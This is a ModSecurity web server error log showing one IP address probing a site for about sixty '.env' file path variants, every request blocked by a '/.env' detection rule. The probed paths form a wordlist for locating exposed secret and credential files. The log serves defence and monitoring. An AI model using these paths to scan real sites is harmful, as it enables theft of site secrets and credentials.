[Thu May 21 15:05:12.220402 2026] [:error] [pid 49877:tid 49903] [client 3.106.220.79:52866] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "ag6uqBgN4MeSe4kIL9Ak3QAAAA8"]
[Thu May 21 15:05:12.291972 2026] [:error] [pid 49982:tid 50000] [client 3.106.220.79:52880] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "ag6uqGFwIDa5Tf8O4baurQAAANA"]
[Thu May 21 15:05:12.360811 2026] [:error] [pid 49877:tid 49891] [client 3.106.220.79:52890] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env1"] [unique_id "ag6uqBgN4MeSe4kIL9Ak3gAAAAM"]
[Thu May 21 15:05:12.430113 2026] [:error] [pid 49982:tid 49989] [client 3.106.220.79:52906] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env2"] [unique_id "ag6uqGFwIDa5Tf8O4baurgAAAMU"]
[Thu May 21 15:05:12.498479 2026] [:error] [pid 49877:tid 49889] [client 3.106.220.79:52908] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_copy"] [unique_id "ag6uqBgN4MeSe4kIL9Ak3wAAAAE"]
[Thu May 21 15:05:12.553691 2026] [:error] [pid 9189:tid 9237] [client 3.106.220.79:52910] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.txt"] [unique_id "ag6uqJvTDh1NbYizKVx5-AAAAhI"]
[Thu May 21 15:05:12.610083 2026] [:error] [pid 9189:tid 9227] [client 3.106.220.79:52922] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.json"] [unique_id "ag6uqJvTDh1NbYizKVx5-QAAAgg"]
[Thu May 21 15:05:12.675634 2026] [:error] [pid 9189:tid 9233] [client 3.106.220.79:52938] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.yaml"] [unique_id "ag6uqJvTDh1NbYizKVx5-gAAAg4"]
[Thu May 21 15:05:12.744189 2026] [:error] [pid 9189:tid 9220] [client 3.106.220.79:52952] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.yml"] [unique_id "ag6uqJvTDh1NbYizKVx5-wAAAgE"]
[Thu May 21 15:05:12.806421 2026] [:error] [pid 9189:tid 9238] [client 3.106.220.79:52966] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "ag6uqJvTDh1NbYizKVx5_AAAAhM"]
[Thu May 21 15:05:12.860450 2026] [:error] [pid 9189:tid 9224] [client 3.106.220.79:52980] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/apps/.env"] [unique_id "ag6uqJvTDh1NbYizKVx5_QAAAgU"]
[Thu May 21 15:05:12.915603 2026] [:error] [pid 49884:tid 49962] [client 3.106.220.79:52990] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "ag6uqK5MPpsTNNHWS6h44gAAAI8"]
[Thu May 21 15:05:12.981310 2026] [:error] [pid 49884:tid 49968] [client 3.106.220.79:52994] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "ag6uqK5MPpsTNNHWS6h44wAAAJU"]
[Thu May 21 15:05:13.039606 2026] [:error] [pid 49884:tid 49953] [client 3.106.220.79:53010] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h45QAAAIY"]
[Thu May 21 15:05:13.095476 2026] [:error] [pid 49884:tid 49967] [client 3.106.220.79:53012] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h45gAAAJQ"]
[Thu May 21 15:05:13.152595 2026] [:error] [pid 49884:tid 49959] [client 3.106.220.79:53022] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h45wAAAIw"]
[Thu May 21 15:05:13.218816 2026] [:error] [pid 49982:tid 49985] [client 3.106.220.79:53030] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "ag6uqWFwIDa5Tf8O4baurwAAAME"]
[Thu May 21 15:05:13.287944 2026] [:error] [pid 49884:tid 49964] [client 3.106.220.79:53034] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/server/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h46AAAAJE"]
[Thu May 21 15:05:13.381345 2026] [:error] [pid 49884:tid 49956] [client 3.106.220.79:53040] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/frontend/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h46QAAAIk"]
[Thu May 21 15:05:13.446942 2026] [:error] [pid 49884:tid 49960] [client 3.106.220.79:53044] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/src/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h46wAAAI0"]
[Thu May 21 15:05:13.504696 2026] [:error] [pid 49884:tid 49955] [client 3.106.220.79:53058] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h47AAAAIg"]
[Thu May 21 15:05:13.567580 2026] [:error] [pid 49884:tid 49951] [client 3.106.220.79:53062] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/app/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h47QAAAIQ"]
[Thu May 21 15:05:13.628288 2026] [:error] [pid 49884:tid 49962] [client 3.106.220.79:53068] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "ag6uqa5MPpsTNNHWS6h47gAAAI8"]
[Thu May 21 15:05:13.690507 2026] [:error] [pid 9157:tid 9168] [client 3.106.220.79:53078] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/private/.env"] [unique_id "ag6uqcGfHcLNqE8m88JsXwAAAYk"]
[Thu May 21 15:05:13.757488 2026] [:error] [pid 9189:tid 9226] [client 3.106.220.79:53092] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/application/.env"] [unique_id "ag6uqZvTDh1NbYizKVx5_wAAAgc"]
[Thu May 21 15:05:13.818805 2026] [:error] [pid 9189:tid 9230] [client 3.106.220.79:53108] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/bootstrap/.env"] [unique_id "ag6uqZvTDh1NbYizKVx6AAAAAgs"]
[Thu May 21 15:05:13.880120 2026] [:error] [pid 9189:tid 9231] [client 3.106.220.79:53120] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/database/.env"] [unique_id "ag6uqZvTDh1NbYizKVx6AQAAAgw"]
[Thu May 21 15:05:13.948907 2026] [:error] [pid 9157:tid 9172] [client 3.106.220.79:53130] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/storage/.env"] [unique_id "ag6uqcGfHcLNqE8m88JsYAAAAY0"]
[Thu May 21 15:05:14.003360 2026] [:error] [pid 9188:tid 9204] [client 3.106.220.79:53136] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/var/www/.env"] [unique_id "ag6uqrGYm6q5dNSUvA-0fgAAAcw"]
[Thu May 21 15:05:14.068984 2026] [:error] [pid 9188:tid 9193] [client 3.106.220.79:53138] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/var/www/html/.env"] [unique_id "ag6uqrGYm6q5dNSUvA-0fwAAAcE"]
[Thu May 21 15:05:14.123420 2026] [:error] [pid 9188:tid 9214] [client 3.106.220.79:53148] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/current/.env"] [unique_id "ag6uqrGYm6q5dNSUvA-0gAAAAdY"]
[Thu May 21 15:05:14.189091 2026] [:error] [pid 9189:tid 9229] [client 3.106.220.79:53154] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/release/.env"] [unique_id "ag6uqpvTDh1NbYizKVx6AgAAAgo"]
[Thu May 21 15:05:14.244776 2026] [:error] [pid 9189:tid 9240] [client 3.106.220.79:53164] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/releases/.env"] [unique_id "ag6uqpvTDh1NbYizKVx6AwAAAhU"]
[Thu May 21 15:05:14.305284 2026] [:error] [pid 9189:tid 9237] [client 3.106.220.79:53170] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/shared/.env"] [unique_id "ag6uqpvTDh1NbYizKVx6BAAAAhI"]
[Thu May 21 15:05:14.365907 2026] [:error] [pid 9188:tid 9206] [client 3.106.220.79:53182] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/deploy/.env"] [unique_id "ag6uqrGYm6q5dNSUvA-0ggAAAc4"]
[Thu May 21 15:05:14.426796 2026] [:error] [pid 49884:tid 49968] [client 3.106.220.79:53190] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/build/.env"] [unique_id "ag6uqq5MPpsTNNHWS6h48AAAAJU"]
[Thu May 21 15:05:14.491361 2026] [:error] [pid 51613:tid 51616] [client 3.106.220.79:53196] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/dist/.env"] [unique_id "ag6uqmbP0MDvqrVnwerV2AAAAQE"]
[Thu May 21 15:05:14.546569 2026] [:error] [pid 51613:tid 51620] [client 3.106.220.79:53202] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public_html/.env"] [unique_id "ag6uqmbP0MDvqrVnwerV2QAAAQU"]
[Thu May 21 15:05:14.621736 2026] [:error] [pid 51613:tid 51632] [client 3.106.220.79:53208] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/htdocs/.env"] [unique_id "ag6uqmbP0MDvqrVnwerV2gAAARE"]
[Thu May 21 15:05:14.677575 2026] [:error] [pid 51613:tid 51625] [client 3.106.220.79:53220] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/www/.env"] [unique_id "ag6uqmbP0MDvqrVnwerV2wAAAQo"]
[Thu May 21 15:05:14.742704 2026] [:error] [pid 9157:tid 9159] [client 3.106.220.79:53228] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/html/.env"] [unique_id "ag6uqsGfHcLNqE8m88JsYQAAAYA"]
[Thu May 21 15:05:14.804863 2026] [:error] [pid 51613:tid 51621] [client 3.106.220.79:53238] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/live/.env"] [unique_id "ag6uqmbP0MDvqrVnwerV3AAAAQY"]
[Thu May 21 15:05:14.864679 2026] [:error] [pid 9188:tid 9209] [client 3.106.220.79:53246] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/prod/.env"] [unique_id "ag6uqrGYm6q5dNSUvA-0gwAAAdE"]
[Thu May 21 15:05:14.928375 2026] [:error] [pid 49982:tid 50001] [client 3.106.220.79:41294] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/dev/.env"] [unique_id "ag6uqmFwIDa5Tf8O4bausQAAANE"]
[Thu May 21 15:05:14.990811 2026] [:error] [pid 49982:tid 50004] [client 3.106.220.79:41306] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/staging/.env"] [unique_id "ag6uqmFwIDa5Tf8O4bausgAAANQ"]
[Thu May 21 15:05:15.052476 2026] [:error] [pid 49982:tid 49984] [client 3.106.220.79:41322] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/opt/.env"] [unique_id "ag6uq2FwIDa5Tf8O4bauswAAAMA"]
[Thu May 21 15:05:15.118811 2026] [:error] [pid 49884:tid 49971] [client 3.106.220.79:41336] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/laravel/.env"] [unique_id "ag6uq65MPpsTNNHWS6h48QAAAJg"]
[Thu May 21 15:05:15.183817 2026] [:error] [pid 49884:tid 49948] [client 3.106.220.79:41352] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/symfony/.env"] [unique_id "ag6uq65MPpsTNNHWS6h48gAAAIE"]
[Thu May 21 15:05:15.243162 2026] [:error] [pid 49884:tid 49970] [client 3.106.220.79:41358] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wordpress/.env"] [unique_id "ag6uq65MPpsTNNHWS6h48wAAAJc"]
[Thu May 21 15:05:15.305590 2026] [:error] [pid 49884:tid 49959] [client 3.106.220.79:41372] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp/.env"] [unique_id "ag6uq65MPpsTNNHWS6h49AAAAIw"]
[Thu May 21 15:05:15.366625 2026] [:error] [pid 49884:tid 49964] [client 3.106.220.79:41386] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cms/.env"] [unique_id "ag6uq65MPpsTNNHWS6h49QAAAJE"]
[Thu May 21 15:05:15.431374 2026] [:error] [pid 49884:tid 49956] [client 3.106.220.79:41402] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/drupal/.env"] [unique_id "ag6uq65MPpsTNNHWS6h49gAAAIk"]
[Thu May 21 15:05:15.488652 2026] [:error] [pid 49884:tid 49955] [client 3.106.220.79:41404] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/joomla/.env"] [unique_id "ag6uq65MPpsTNNHWS6h49wAAAIg"]
[Thu May 21 15:05:15.551756 2026] [:error] [pid 49884:tid 49951] [client 3.106.220.79:41416] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/magento/.env"] [unique_id "ag6uq65MPpsTNNHWS6h4-AAAAIQ"]
[Thu May 21 15:05:15.612963 2026] [:error] [pid 49877:tid 49908] [client 3.106.220.79:41432] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/shopify/.env"] [unique_id "ag6uqxgN4MeSe4kIL9Ak4QAAABQ"]
[Thu May 21 15:05:15.667725 2026] [:error] [pid 49884:tid 49962] [client 3.106.220.79:41442] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/prestashop/.env"] [unique_id "ag6uq65MPpsTNNHWS6h4-QAAAI8"]
[Thu May 21 15:05:15.728515 2026] [:error] [pid 49982:tid 49993] [client 3.106.220.79:41456] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/codeigniter/.env"] [unique_id "ag6uq2FwIDa5Tf8O4bautQAAAMk"]
[Thu May 21 15:05:15.808106 2026] [:error] [pid 49982:tid 50003] [client 3.106.220.79:41462] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cakephp/.env"] [unique_id "ag6uq2FwIDa5Tf8O4bautwAAANM"]
